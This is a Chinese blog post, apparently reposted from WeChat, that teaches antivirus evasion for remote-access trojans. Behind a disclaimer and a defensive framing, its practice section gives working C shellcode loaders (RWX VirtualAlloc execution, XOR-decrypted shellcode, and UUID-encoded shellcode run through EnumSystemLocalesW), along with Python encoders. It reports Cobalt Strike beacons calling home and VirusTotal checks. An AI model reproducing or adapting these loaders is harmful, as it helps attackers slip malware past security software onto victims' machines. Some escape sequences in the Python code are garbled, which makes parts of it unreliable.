免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。
——鼹鼠
前言:
在当今数字化时代,网络安全已成为关乎国家安全、企业利益和个人隐私的重大问题。而在众多网络安全威胁中,远程控制软件成为黑客进行攻击的重要手段之一。为了更好地保护我们的系统和数据安全,我们需要深入了解远控免杀技术,从入门到实践全面掌握其防范策略。
远控免杀技术是一种使远程控制软件在目标系统上隐藏自身、规避安全检测和杀毒软件查杀的技术。由于其高度的隐蔽性和危害性,远控免杀技术已成为网络安全领域的一大难题。因此,学习和研究远控免杀技术对于提高我们的网络安全防护能力具有重要的意义。
然而,远控免杀技术并非易事,需要具备一定的技术基础和实践经验。对于初学者来说,如何入门并逐步掌握远控免杀技术的核心要点是关键所在。本篇文章将为你揭示远控免杀技术的奥秘,从入门到实践为你提供全面的指导。
首先,我们将介绍远控免杀技术的起源和背景,让你了解其发展历程和现状。接着,我们将深入探讨远控免杀技术的原理和实现方式,为你揭示其隐藏在背后的技术细节。在此基础上,我们将分享一些常见的远控免杀工具和技术,并对其进行详细的分析和比较。
在掌握了基本原理和工具之后,我们将进入实践环节。我们将通过一系列的实验和案例分析,让你亲身体验远控免杀技术的实际应用和效果。在这个过程中,我们将注重实践技巧和经验的传授,为你提供切实可行的防范策略和解决方案。
最后,我们将总结全文要点,并为你提供进一步学习和探索的方向和建议。通过本篇文章的学习,你将能够全面了解远控免杀技术的前沿动态和实践经验,为你的网络安全防护工作提供有力的支持。
在这个日新月异的数字化时代,网络安全领域的挑战和机遇并存。只有不断学习和实践,我们才能紧跟时代的步伐,更好地应对各种网络安全威胁。希望本篇文章能够成为你深入了解远控免杀技术的敲门砖,激发你对网络安全领域的兴趣和热情。让我们共同为构建一个安全、可靠的网络环境而努力!
1.什么是免杀
概念
免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。
杀毒软件检测方式
常见扫描方式:
扫描压缩包技术、程序窜改防护、修复技术、急救盘杀毒、智能扫描、全盘扫描、勒索软件防护、开机扫描
监控技术:
内存监控、文件监控、邮件监控、网页防护、行为防护
扫描引擎
特征码扫描、文件校验和法、进程行为监测法(沙盒模式)、云查杀、主动防御技术、机器学习识别技术
2.免杀技术介绍
修改特征码
免杀的最基本思想就是破坏特征,这个特征有可能是特征码,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次免杀就能完成了。
花指令免杀
花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。
加壳免杀
软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。
内存免杀
CPU不可能是为某一款加壳软件而特别设计的,因此某个软件被加壳后的可执行代码CPU是读不懂的。这就要求在执行外壳代码时,要先将原软件解密,并放到内存里,然后再通知CPU执行。
二次编译
metasploit的msfvenom提供了多种格式的payload和encoder,生成的shellcode也为二次加工提供了很大遍历,但是也被各大厂商盯得死死的
分离免杀
采用分离法,即将ShellCode和加载器分离。分离免杀之所以能获得很好的效果就是因为shellcode加载器本身并不包含恶意代码,自然也不会包含恶意软件的特征码,而只有当加载器运行时,它才会从程序之外加载shellcode执行,通过这种方式能够有效避免基于特征码的查杀方式
实践
这里用的代码是c/c++来实现的,也可以用其他语言来实现,效果可能会更好,首先用cs(msf也行)生成shellcode
申请动态内存加载
下面代码会申请一块动态内存,在加载shellcode
代码:
unsigned char buf[] = "";
int main() {
char* Memory;
Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
return 1;
}
使用vs 2019编译,之后CTRL+B生成exe文件
在项目下的根目录x64\Release的位置找到exe并执行,cs也是上线了
接下来尝试下VT
建议不要多次跑VT,要不然效果会越来越不好
XOR加密
这里先用python对shellcode进行XOR加密
代码:
#!/usr/bin/env python
# encoding: utf-8
'''
@Author : xd
@Date : 2021-01-23 15:57
@Description : shellcode XOR加密.
'''
import random
buf = b"""[shellcode]"""
key = random.randint(30, 90)
def encrypt():
print("key:%s" % key)
i = 1
st = ''
for c in buf:
if i == key:
i = 1
st += '%#x' % (c ^ i)
i += 1
st = st.replace("0x", "\x")
print(st)
if __name__ == "__main__":
encrypt()
执行后会生成一个key值和加密后的shellcode
下面代码把shellcode加载到内存并执行
int main()
{
unsigned char encryptedShellcode[] = ""; //加密后的shellcode
int key = ; //key值
unsigned char buf[sizeof(encryptedShellcode)];
int len = sizeof(encryptedShellcode);
int j = 1;
for (int i = 0; i < len; ++i)
{
if (j == key) j = 1;
buf[i] = encryptedShellcode[i] ^ j;
++j;
}
char* addr;
addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (addr == NULL) return -1;
memcpy(addr, buf, sizeof(buf));
((void(*)())addr)();
return 0;
}
填充后,使用vs 2019编译,之后CTRL+B生成exe文件,运行后cs还是上线了
UUID
先用python把shellcode转变成UUID字符串数组
#coding=utf-8
import uuid
#Input your shellcode like:xfcx48x83xe4xf0xe8xxx
buf = b"""[shellcode]"""
import uuid
def convertToUUID(shellcode):
# If shellcode is not in multiples of 16, then add some nullbytes at the end
if len(shellcode) % 16 != 0:
print("[-] Shellcode's length not multiplies of 16 bytes")
print("[-] Adding nullbytes at the end of shellcode, this might break your shellcode.")
print("n[*] Modified shellcode length: ", len(shellcode) + (16 - (len(shellcode) % 16)))
addNullbyte = b"x00" * (16 - (len(shellcode) % 16))
shellcode += addNullbyte
uuids = []
for i in range(0, len(shellcode), 16):
uuidString = str(uuid.UUID(bytes_le=shellcode[i:i + 16]))
uuids.append(uuidString.replace("'", """))
return uuids
u = convertToUUID(buf)
print(str(u).replace("'", """))
执行并获取uuid字符串数组
下面代码把shellcode加载到内存并执行,C的数组是用{},所以要把py生成的[]换成{}放到下面uuids
const char *uuids[] = ;//uuid数组
int main()
{
int len = sizeof(uuids)/sizeof(char*);
char* addr = NULL;
addr = HeapCreate(0x00040000, 0, 0);
if (addr == NULL) return -1;
ZwAllocateVirtualMemory(addr, 0, 0, 0x100000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* addrPtr = addr;
for (int i = 0; i < len; ++i)
{
byte* u = (byte*)uuids[i];
RPC_STATUS rpcStatus = UuidFromStringA(&u[0], addrPtr);
if (rpcStatus != 0) return 0;
addrPtr += 16;
}
EnumSystemLocalesW(addr, 0);
return 0;
}
这里把申请动态的方式换了函数,同时把加载到内存的方式变换了,这样可以逃避部分杀软的监控,从而达到更好的效果,接下来vs 2019进行编译,不出意外会报错,因为缺少依赖,所以在项目->项目属性(我的是Project属性)
在链接器->输入,点击附加依赖项编辑,添加上rpccrt4.lib;ntdll.lib,最后CTRL+B,生成exe文件
下来在靶机运行exe,cs还是上线了
接下来使用VT
5b6u5L+h5YWs5LyX5Y+34oCc5a6J5YWo5re35a2Q4oCd77yM5Y+v5Lul55So5b6u5L+h5pCc5LiA5pCc77yM5q2j5Zyo5a6M5ZaE5LitLi4uLi4u
原文始发于微信公众号(天盾信安):远控免杀从入门到实践
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论